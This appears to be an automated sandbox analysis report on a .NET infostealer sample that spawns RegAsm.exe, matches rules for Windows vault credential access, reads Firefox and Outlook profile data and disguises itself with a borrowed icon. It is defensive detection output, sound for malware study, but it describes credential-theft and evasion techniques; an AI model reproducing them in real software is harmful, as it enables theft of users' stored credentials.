Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06175CDF	3_2_06175CDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0617001A	3_2_0617001A

Source: 450230549.exe

Static PE information: invalid certificate

Source: 450230549.exe, 00000000.00000002.1722663773.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 450230549.exe
Source: 450230549.exe, 00000000.00000000.1701465729.00000000003E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHSDSDF32.exe2 vs 450230549.exe
Source: 450230549.exe, 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename823aa2f5-346d-4241-a1e4-da92c87486de.exe4 vs 450230549.exe
Source: 450230549.exe, 00000000.00000002.1725521175.00000000027B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename823aa2f5-346d-4241-a1e4-da92c87486de.exe4 vs 450230549.exe
Source: 450230549.exe	Binary or memory string: OriginalFilenameHSDSDF32.exe2 vs 450230549.exe

Source: 450230549.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.450230549.exe.385caa0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.450230549.exe.37e4e58.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.450230549.exe.3820c80.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.450230549.exe.37e4e58.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.450230549.exe.3820c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 450230549.exe, DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 450230549.exe, DyyVDbaRvM1YfIq9il.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 450230549.exe, AesHelper.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, NpXw3kw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, NpXw3kw.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, fpnV0Qjz.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, fpnV0Qjz.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@7/1@4/3

Source: C:\Users\user\Desktop\450230549.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\450230549.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutant created: NULL

Source: 450230549.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 450230549.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 450230549.exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\450230549.exe "C:\Users\user\Desktop\450230549.exe"
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: 450230549.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 450230549.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 450230549.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: HSDSDF32.pdb( source: 450230549.exe
Source:	Binary string: HSDSDF32.pdb source: 450230549.exe

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 450230549.exe, DyyVDbaRvM1YfIq9il.cs

.Net Code: Type.GetTypeFromHandle(KKr6hZkjvwWjdm9A4Z.IRRpZ0UGCKAgx(16777255)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(KKr6hZkjvwWjdm9A4Z.IRRpZ0UGCKAgx(16777256)),Type.GetTypeFromHandle(KKr6hZkjvwWjdm9A4Z.IRRpZ0UGCKAgx(16777253))})

Source: 450230549.exe

Static PE information: 0xA449B1F0 [Sat May 5 12:58:24 2057 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00EAAEB8 push esp; iretd	3_2_00EAB1FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_060F9672 push es; ret	3_2_060F968C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_060F7782 push es; ret	3_2_060F7790

Source: 450230549.exe, DyyVDbaRvM1YfIq9il.cs	High entropy of concatenated method names: 'D4r4O0AxSI', 'OadpZ0AU6PEEW', 'creoiNvd7', 'jZiU8kt7k', 'yIEeUuogE', 'HNMMnrD0K', 'U6ZIpjiMV', 'TYIaeXNeW', 'rI3lmZ9FL', 'SuhhReBcy'
Source: 450230549.exe, R2mIapWar4cwoqqx6Q.cs	High entropy of concatenated method names: 'IWZ4FNxMCV', 'X4o4BaXNNW', 'ReR4PkWY9i', 'XZO4yOqtpA', 'pcT48wm9UY', 'Y9l4jroko9', 'OY84tBcMwd', 'JrQ4qkE5mX', 'iRM4R10ean', 'AGe45CEX5X'

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (92).png

Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
